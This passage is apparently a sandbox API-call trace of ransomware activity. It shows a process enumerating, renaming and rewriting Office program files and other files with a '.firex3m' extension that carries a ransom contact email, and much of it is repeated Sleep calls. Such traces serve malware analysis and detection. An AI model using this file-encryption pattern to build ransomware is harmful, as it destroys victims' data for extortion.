lpFindFileData=0x393fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5f39c890, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x5515, dwReserved0=0xcbc7496, dwReserved1=0x73bd830, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d51c0 [0257.152] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0257.152] Sleep (dwMilliseconds=0x1) [0261.203] SysReAllocStringLen (in: pbstr=0x393ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\COMPASS\\COMPASS.ELM", len=0x6e | out: pbstr=0x393ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\COMPASS\\COMPASS.ELM") returned 1 [0261.203] GetProcessHeap () returned 0x630000 [0261.203] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c68) returned 0x6fe3bb0 [0261.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\COMPASS\\COMPASS.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\compass\\compass.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0261.609] CloseHandle (hObject=0x678) returned 1 [0261.609] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0261.609] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\COMPASS\\COMPASS.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\compass\\compass.elm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\COMPASS\\COMPASS.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\compass\\compass.elm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0261.612] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0261.612] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\COMPASS\\COMPASS.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x393fc6c | out: lpFindFileData=0x393fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd613, dwReserved0=0x5b005f, dwReserved1=0x6f0063, cFileName="COMPASS.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="COMPAS~2.FIR")) returned 0x6d51c0 [0261.612] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0261.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\COMPASS\\COMPASS.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\compass\\compass.elm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0261.612] GetProcessHeap () returned 0x630000 [0261.612] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7247db0 [0261.613] GetProcessHeap () returned 0x630000 [0261.613] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6faaf20 [0261.613] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.614] ReadFile (in: hFile=0x678, lpBuffer=0x7247db0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7247db0*, lpNumberOfBytesRead=0x393ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0267.953] GetProcessHeap () returned 0x630000 [0267.953] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73180f8 [0267.953] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.954] WriteFile (in: hFile=0x678, lpBuffer=0x6faaf20*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6faaf20*, lpNumberOfBytesWritten=0x393ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0267.954] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.954] WriteFile (in: hFile=0x678, lpBuffer=0x6fb631f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fb631f*, lpNumberOfBytesWritten=0x393ff0c*=0x20, lpOverlapped=0x0) returned 1 [0267.954] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.954] WriteFile (in: hFile=0x678, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x393ff0c*=0x4, lpOverlapped=0x0) returned 1 [0267.955] CloseHandle (hObject=0x678) returned 1 [0267.955] GetProcessHeap () returned 0x630000 [0267.955] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6faaf20 | out: hHeap=0x630000) returned 1 [0267.955] GetProcessHeap () returned 0x630000 [0267.955] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7247db0 | out: hHeap=0x630000) returned 1 [0267.955] GetProcessHeap () returned 0x630000 [0267.955] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73180f8 | out: hHeap=0x630000) returned 1 [0267.955] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0267.955] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\COMPASS\\COMPASS.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x393fcc4 | out: lpFindFileData=0x393fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x65a9fb8e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xd637, dwReserved0=0xcbc7496, dwReserved1=0x7247da8, cFileName="COMPASS.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="COMPAS~2.FIR")) returned 0x6d54c0 [0267.955] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0267.955] Sleep (dwMilliseconds=0x1) [0269.972] SysReAllocStringLen (in: pbstr=0x393ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\SHOWG.TTF", len=0x42 | out: pbstr=0x393ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\SHOWG.TTF") returned 1 [0269.972] GetProcessHeap () returned 0x630000 [0269.972] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b3c) returned 0x6fe3bb0 [0269.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\SHOWG.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\showg.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x608 [0269.998] CloseHandle (hObject=0x608) returned 1 [0269.998] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0269.998] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\SHOWG.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\showg.ttf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\SHOWG.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\showg.ttf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0269.999] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0270.000] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\SHOWG.TTF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x393fc6c | out: lpFindFileData=0x393fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86a500ac, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a500ac, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86a9c5a1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xcc5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHOWG.TTF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SHOWGT~1.FIR")) returned 0x6d5540 [0270.000] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0270.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\SHOWG.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\showg.ttf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x608 [0270.000] GetProcessHeap () returned 0x630000 [0270.000] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f493c0 [0270.001] GetProcessHeap () returned 0x630000 [0270.001] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f547f0 [0270.001] SetFilePointerEx (in: hFile=0x608, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.001] ReadFile (in: hFile=0x608, lpBuffer=0x6f493c0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f493c0*, lpNumberOfBytesRead=0x393ff0c*=0xb400, lpOverlapped=0x0) returned 1 Thread: id = 45 os_tid = 0xe0c [0067.197] Sleep (dwMilliseconds=0x1) [0067.440] Sleep (dwMilliseconds=0x1) [0067.561] Sleep (dwMilliseconds=0x1) [0067.713] Sleep (dwMilliseconds=0x1) [0067.828] Sleep (dwMilliseconds=0x1) [0067.935] Sleep (dwMilliseconds=0x1) [0068.042] Sleep (dwMilliseconds=0x1) [0068.147] Sleep (dwMilliseconds=0x1) [0068.282] Sleep (dwMilliseconds=0x1) [0068.394] Sleep (dwMilliseconds=0x1) [0068.492] Sleep (dwMilliseconds=0x1) [0068.546] Sleep (dwMilliseconds=0x1) [0068.697] Sleep (dwMilliseconds=0x1) [0068.748] Sleep (dwMilliseconds=0x1) [0068.791] Sleep (dwMilliseconds=0x1) [0068.843] Sleep (dwMilliseconds=0x1) [0068.883] Sleep (dwMilliseconds=0x1) [0068.935] Sleep (dwMilliseconds=0x1) [0068.975] Sleep (dwMilliseconds=0x1) [0069.048] Sleep (dwMilliseconds=0x1) [0069.104] Sleep (dwMilliseconds=0x1) [0069.159] Sleep (dwMilliseconds=0x1) [0069.197] Sleep (dwMilliseconds=0x1) [0069.250] Sleep (dwMilliseconds=0x1) [0069.292] Sleep (dwMilliseconds=0x1) [0069.378] Sleep (dwMilliseconds=0x1) [0069.434] Sleep (dwMilliseconds=0x1) [0069.484] Sleep (dwMilliseconds=0x1) [0069.522] Sleep (dwMilliseconds=0x1) [0069.689] Sleep (dwMilliseconds=0x1) [0069.919] Sleep (dwMilliseconds=0x1) [0070.147] Sleep (dwMilliseconds=0x1) [0070.262] Sleep (dwMilliseconds=0x1) [0070.382] Sleep (dwMilliseconds=0x1) [0070.533] Sleep (dwMilliseconds=0x1) [0070.870] Sleep (dwMilliseconds=0x1) [0071.568] Sleep (dwMilliseconds=0x1) [0071.942] Sleep (dwMilliseconds=0x1) [0072.429] Sleep (dwMilliseconds=0x1) [0072.607] Sleep (dwMilliseconds=0x1) [0072.799] Sleep (dwMilliseconds=0x1) [0072.907] Sleep (dwMilliseconds=0x1) [0073.098] Sleep (dwMilliseconds=0x1) [0073.608] Sleep (dwMilliseconds=0x1) [0073.769] Sleep (dwMilliseconds=0x1) [0073.977] Sleep (dwMilliseconds=0x1) [0074.049] Sleep (dwMilliseconds=0x1) [0074.182] Sleep (dwMilliseconds=0x1) [0074.380] Sleep (dwMilliseconds=0x1) [0074.672] Sleep (dwMilliseconds=0x1) [0074.770] Sleep (dwMilliseconds=0x1) [0074.850] Sleep (dwMilliseconds=0x1) [0074.907] Sleep (dwMilliseconds=0x1) [0074.998] Sleep (dwMilliseconds=0x1) [0075.062] Sleep (dwMilliseconds=0x1) [0075.104] Sleep (dwMilliseconds=0x1) [0075.159] Sleep (dwMilliseconds=0x1) [0075.220] Sleep (dwMilliseconds=0x1) [0075.260] Sleep (dwMilliseconds=0x1) [0075.308] Sleep (dwMilliseconds=0x1) [0075.358] Sleep (dwMilliseconds=0x1) [0075.425] Sleep (dwMilliseconds=0x1) [0075.515] Sleep (dwMilliseconds=0x1) [0075.565] Sleep (dwMilliseconds=0x1) [0075.614] Sleep (dwMilliseconds=0x1) [0075.697] Sleep (dwMilliseconds=0x1) [0075.746] Sleep (dwMilliseconds=0x1) [0075.791] Sleep (dwMilliseconds=0x1) [0075.832] Sleep (dwMilliseconds=0x1) [0076.047] Sleep (dwMilliseconds=0x1) [0076.060] Sleep (dwMilliseconds=0x1) [0076.086] Sleep (dwMilliseconds=0x1) [0076.104] Sleep (dwMilliseconds=0x1) [0076.189] Sleep (dwMilliseconds=0x1) [0076.388] Sleep (dwMilliseconds=0x1) [0076.533] Sleep (dwMilliseconds=0x1) [0076.669] Sleep (dwMilliseconds=0x1) [0076.773] Sleep (dwMilliseconds=0x1) [0076.806] Sleep (dwMilliseconds=0x1) [0076.845] Sleep (dwMilliseconds=0x1) [0076.869] Sleep (dwMilliseconds=0x1) [0076.923] Sleep (dwMilliseconds=0x1) [0076.983] Sleep (dwMilliseconds=0x1) [0077.071] Sleep (dwMilliseconds=0x1) [0077.152] Sleep (dwMilliseconds=0x1) [0077.224] Sleep (dwMilliseconds=0x1) [0077.286] Sleep (dwMilliseconds=0x1) [0077.362] Sleep (dwMilliseconds=0x1) [0077.410] Sleep (dwMilliseconds=0x1) [0077.523] Sleep (dwMilliseconds=0x1) [0077.595] Sleep (dwMilliseconds=0x1) [0077.651] Sleep (dwMilliseconds=0x1) [0077.686] Sleep (dwMilliseconds=0x1) [0077.740] Sleep (dwMilliseconds=0x1) [0077.779] Sleep (dwMilliseconds=0x1) [0077.835] Sleep (dwMilliseconds=0x1) [0077.854] Sleep (dwMilliseconds=0x1) [0077.908] Sleep (dwMilliseconds=0x1) [0077.963] Sleep (dwMilliseconds=0x1) [0077.978] Sleep (dwMilliseconds=0x1) [0078.000] Sleep (dwMilliseconds=0x1) [0078.087] Sleep (dwMilliseconds=0x1) [0078.116] Sleep (dwMilliseconds=0x1) [0078.135] Sleep (dwMilliseconds=0x1) [0078.191] Sleep (dwMilliseconds=0x1) [0078.225] Sleep (dwMilliseconds=0x1) [0078.237] Sleep (dwMilliseconds=0x1) [0078.254] Sleep (dwMilliseconds=0x1) [0078.270] Sleep (dwMilliseconds=0x1) [0078.287] Sleep (dwMilliseconds=0x1) [0078.312] Sleep (dwMilliseconds=0x1) [0078.361] Sleep (dwMilliseconds=0x1) [0078.378] Sleep (dwMilliseconds=0x1) [0078.514] Sleep (dwMilliseconds=0x1) [0078.535] Sleep (dwMilliseconds=0x1) [0078.558] Sleep (dwMilliseconds=0x1) [0078.571] Sleep (dwMilliseconds=0x1) [0078.608] Sleep (dwMilliseconds=0x1) [0078.628] Sleep (dwMilliseconds=0x1) [0078.644] Sleep (dwMilliseconds=0x1) [0078.661] Sleep (dwMilliseconds=0x1) [0078.674] Sleep (dwMilliseconds=0x1) [0078.706] Sleep (dwMilliseconds=0x1) [0078.722] Sleep (dwMilliseconds=0x1) [0078.736] Sleep (dwMilliseconds=0x1) [0078.755] Sleep (dwMilliseconds=0x1) [0078.768] Sleep (dwMilliseconds=0x1) [0078.788] Sleep (dwMilliseconds=0x1) [0078.836] Sleep (dwMilliseconds=0x1) [0078.888] Sleep (dwMilliseconds=0x1) [0078.931] Sleep (dwMilliseconds=0x1) [0078.942] Sleep (dwMilliseconds=0x1) [0078.963] Sleep (dwMilliseconds=0x1) [0078.975] Sleep (dwMilliseconds=0x1) [0079.006] Sleep (dwMilliseconds=0x1) [0079.027] Sleep (dwMilliseconds=0x1) [0079.035] Sleep (dwMilliseconds=0x1) [0079.047] Sleep (dwMilliseconds=0x1) [0079.084] Sleep (dwMilliseconds=0x1) [0079.096] Sleep (dwMilliseconds=0x1) [0079.118] Sleep (dwMilliseconds=0x1) [0079.127] Sleep (dwMilliseconds=0x1) [0079.161] Sleep (dwMilliseconds=0x1) [0079.222] Sleep (dwMilliseconds=0x1) [0079.252] Sleep (dwMilliseconds=0x1) [0079.267] Sleep (dwMilliseconds=0x1) [0079.288] Sleep (dwMilliseconds=0x1) [0079.298] Sleep (dwMilliseconds=0x1) [0079.317] Sleep (dwMilliseconds=0x1) [0079.328] Sleep (dwMilliseconds=0x1) [0079.350] Sleep (dwMilliseconds=0x1) [0079.359] Sleep (dwMilliseconds=0x1) [0079.390] Sleep (dwMilliseconds=0x1) [0079.416] Sleep (dwMilliseconds=0x1) [0079.423] Sleep (dwMilliseconds=0x1) [0079.447] Sleep (dwMilliseconds=0x1) [0079.515] Sleep (dwMilliseconds=0x1) [0079.543] Sleep (dwMilliseconds=0x1) [0079.546] Sleep (dwMilliseconds=0x1) [0079.601] Sleep (dwMilliseconds=0x1) [0079.611] Sleep (dwMilliseconds=0x1) [0079.629] Sleep (dwMilliseconds=0x1) [0079.642] Sleep (dwMilliseconds=0x1) [0079.661] Sleep (dwMilliseconds=0x1) [0079.676] Sleep (dwMilliseconds=0x1) [0079.696] Sleep (dwMilliseconds=0x1) [0079.729] Sleep (dwMilliseconds=0x1) [0079.745] Sleep (dwMilliseconds=0x1) [0079.799] Sleep (dwMilliseconds=0x1) [0079.817] Sleep (dwMilliseconds=0x1) [0079.829] Sleep (dwMilliseconds=0x1) [0079.891] Sleep (dwMilliseconds=0x1) [0079.914] Sleep (dwMilliseconds=0x1) [0079.934] Sleep (dwMilliseconds=0x1) [0079.937] Sleep (dwMilliseconds=0x1) [0079.987] Sleep (dwMilliseconds=0x1) [0080.047] Sleep (dwMilliseconds=0x1) [0080.071] Sleep (dwMilliseconds=0x1) [0080.083] Sleep (dwMilliseconds=0x1) [0080.100] Sleep (dwMilliseconds=0x1) [0080.135] Sleep (dwMilliseconds=0x1) [0080.161] Sleep (dwMilliseconds=0x1) [0080.172] Sleep (dwMilliseconds=0x1) [0080.238] Sleep (dwMilliseconds=0x1) [0080.259] Sleep (dwMilliseconds=0x1) [0080.269] Sleep (dwMilliseconds=0x1) [0080.285] Sleep (dwMilliseconds=0x1) [0080.302] Sleep (dwMilliseconds=0x1) [0080.315] Sleep (dwMilliseconds=0x1) [0080.344] Sleep (dwMilliseconds=0x1) [0080.361] Sleep (dwMilliseconds=0x1) [0080.385] Sleep (dwMilliseconds=0x1) [0080.392] Sleep (dwMilliseconds=0x1) [0080.410] Sleep (dwMilliseconds=0x1) [0080.426] Sleep (dwMilliseconds=0x1) [0080.442] Sleep (dwMilliseconds=0x1) [0080.502] Sleep (dwMilliseconds=0x1) [0080.527] Sleep (dwMilliseconds=0x1) [0080.543] Sleep (dwMilliseconds=0x1) [0080.568] Sleep (dwMilliseconds=0x1) [0080.582] Sleep (dwMilliseconds=0x1) [0080.606] Sleep (dwMilliseconds=0x1) [0080.661] Sleep (dwMilliseconds=0x1) [0080.672] Sleep (dwMilliseconds=0x1) [0080.704] Sleep (dwMilliseconds=0x1) [0080.722] Sleep (dwMilliseconds=0x1) [0080.766] Sleep (dwMilliseconds=0x1) [0080.787] Sleep (dwMilliseconds=0x1) [0080.805] Sleep (dwMilliseconds=0x1) [0080.819] Sleep (dwMilliseconds=0x1) [0080.836] Sleep (dwMilliseconds=0x1) [0080.847] Sleep (dwMilliseconds=0x1) [0080.889] Sleep (dwMilliseconds=0x1) [0080.918] Sleep (dwMilliseconds=0x1) [0080.922] Sleep (dwMilliseconds=0x1) [0080.942] Sleep (dwMilliseconds=0x1) [0080.957] Sleep (dwMilliseconds=0x1) [0080.978] Sleep (dwMilliseconds=0x1) [0080.990] Sleep (dwMilliseconds=0x1) [0081.004] Sleep (dwMilliseconds=0x1) [0081.018] Sleep (dwMilliseconds=0x1) [0081.037] Sleep (dwMilliseconds=0x1) [0081.049] Sleep (dwMilliseconds=0x1) [0081.286] Sleep (dwMilliseconds=0x1) [0081.438] Sleep (dwMilliseconds=0x1) [0081.525] Sleep (dwMilliseconds=0x1) [0081.543] Sleep (dwMilliseconds=0x1) [0081.565] Sleep (dwMilliseconds=0x1) [0081.581] Sleep (dwMilliseconds=0x1) [0081.600] Sleep (dwMilliseconds=0x1) [0081.613] Sleep (dwMilliseconds=0x1) [0081.629] Sleep (dwMilliseconds=0x1) [0081.664] Sleep (dwMilliseconds=0x1) [0081.683] Sleep (dwMilliseconds=0x1) [0081.691] Sleep (dwMilliseconds=0x1) [0081.710] Sleep (dwMilliseconds=0x1) [0081.757] Sleep (dwMilliseconds=0x1) [0081.776] Sleep (dwMilliseconds=0x1) [0081.789] Sleep (dwMilliseconds=0x1) [0081.833] Sleep (dwMilliseconds=0x1) [0081.848] Sleep (dwMilliseconds=0x1) [0081.886] Sleep (dwMilliseconds=0x1) [0081.892] Sleep (dwMilliseconds=0x1) [0081.911] Sleep (dwMilliseconds=0x1) [0081.926] Sleep (dwMilliseconds=0x1) [0081.943] Sleep (dwMilliseconds=0x1) [0081.966] Sleep (dwMilliseconds=0x1) [0081.987] Sleep (dwMilliseconds=0x1) [0082.002] Sleep (dwMilliseconds=0x1) [0082.037] Sleep (dwMilliseconds=0x1) [0082.049] Sleep (dwMilliseconds=0x1) [0082.069] Sleep (dwMilliseconds=0x1) [0082.111] Sleep (dwMilliseconds=0x1) [0082.134] Sleep (dwMilliseconds=0x1) [0082.149] Sleep (dwMilliseconds=0x1) [0082.159] Sleep (dwMilliseconds=0x1) [0082.193] Sleep (dwMilliseconds=0x1) [0082.216] Sleep (dwMilliseconds=0x1) [0082.231] Sleep (dwMilliseconds=0x1) [0082.260] Sleep (dwMilliseconds=0x1) [0082.275] Sleep (dwMilliseconds=0x1) [0082.296] Sleep (dwMilliseconds=0x1) [0082.308] Sleep (dwMilliseconds=0x1) [0082.372] Sleep (dwMilliseconds=0x1) [0082.417] Sleep (dwMilliseconds=0x1) [0082.542] Sleep (dwMilliseconds=0x1) [0082.586] Sleep (dwMilliseconds=0x1) [0082.638] Sleep (dwMilliseconds=0x1) [0082.682] Sleep (dwMilliseconds=0x1) [0082.729] Sleep (dwMilliseconds=0x1) [0082.775] Sleep (dwMilliseconds=0x1) [0082.823] Sleep (dwMilliseconds=0x1) [0082.869] Sleep (dwMilliseconds=0x1) [0082.917] Sleep (dwMilliseconds=0x1) [0082.967] Sleep (dwMilliseconds=0x1) [0083.017] Sleep (dwMilliseconds=0x1) [0083.054] Sleep (dwMilliseconds=0x1) [0083.104] Sleep (dwMilliseconds=0x1) [0083.149] Sleep (dwMilliseconds=0x1) [0083.201] Sleep (dwMilliseconds=0x1) [0083.241] Sleep (dwMilliseconds=0x1) [0083.294] Sleep (dwMilliseconds=0x1) [0083.336] Sleep (dwMilliseconds=0x1) [0083.386] Sleep (dwMilliseconds=0x1) [0083.435] Sleep (dwMilliseconds=0x1) [0083.704] Sleep (dwMilliseconds=0x1) [0083.750] Sleep (dwMilliseconds=0x1) [0083.803] Sleep (dwMilliseconds=0x1) [0083.912] Sleep (dwMilliseconds=0x1) [0084.013] Sleep (dwMilliseconds=0x1) [0084.092] Sleep (dwMilliseconds=0x1) [0084.203] Sleep (dwMilliseconds=0x1) [0084.342] Sleep (dwMilliseconds=0x1) [0084.739] Sleep (dwMilliseconds=0x1) [0084.810] Sleep (dwMilliseconds=0x1) [0084.878] Sleep (dwMilliseconds=0x1) [0084.959] Sleep (dwMilliseconds=0x1) [0085.046] Sleep (dwMilliseconds=0x1) [0085.124] Sleep (dwMilliseconds=0x1) [0085.178] Sleep (dwMilliseconds=0x1) [0085.345] Sleep (dwMilliseconds=0x1) [0085.391] Sleep (dwMilliseconds=0x1) [0085.735] Sleep (dwMilliseconds=0x1) [0085.832] Sleep (dwMilliseconds=0x1) [0085.962] Sleep (dwMilliseconds=0x1) [0086.077] Sleep (dwMilliseconds=0x1) [0086.192] Sleep (dwMilliseconds=0x1) [0086.231] Sleep (dwMilliseconds=0x1) [0086.299] Sleep (dwMilliseconds=0x1) [0086.347] Sleep (dwMilliseconds=0x1) [0086.593] Sleep (dwMilliseconds=0x1) [0086.892] Sleep (dwMilliseconds=0x1) [0087.096] Sleep (dwMilliseconds=0x1) [0087.314] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\588bce7c90097ed212\\1029\\eula.rtf", len=0x23 | out: pbstr=0x3a7ff7c*="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 1 [0087.314] GetProcessHeap () returned 0x630000 [0087.314] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e9288, Size=0x18) returned 0x6b04f8 [0087.314] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x670 [0087.314] CloseHandle (hObject=0x670) returned 1 [0087.314] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0087.314] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0087.315] MultiByteToWideChar (in: CodePage=0x3, 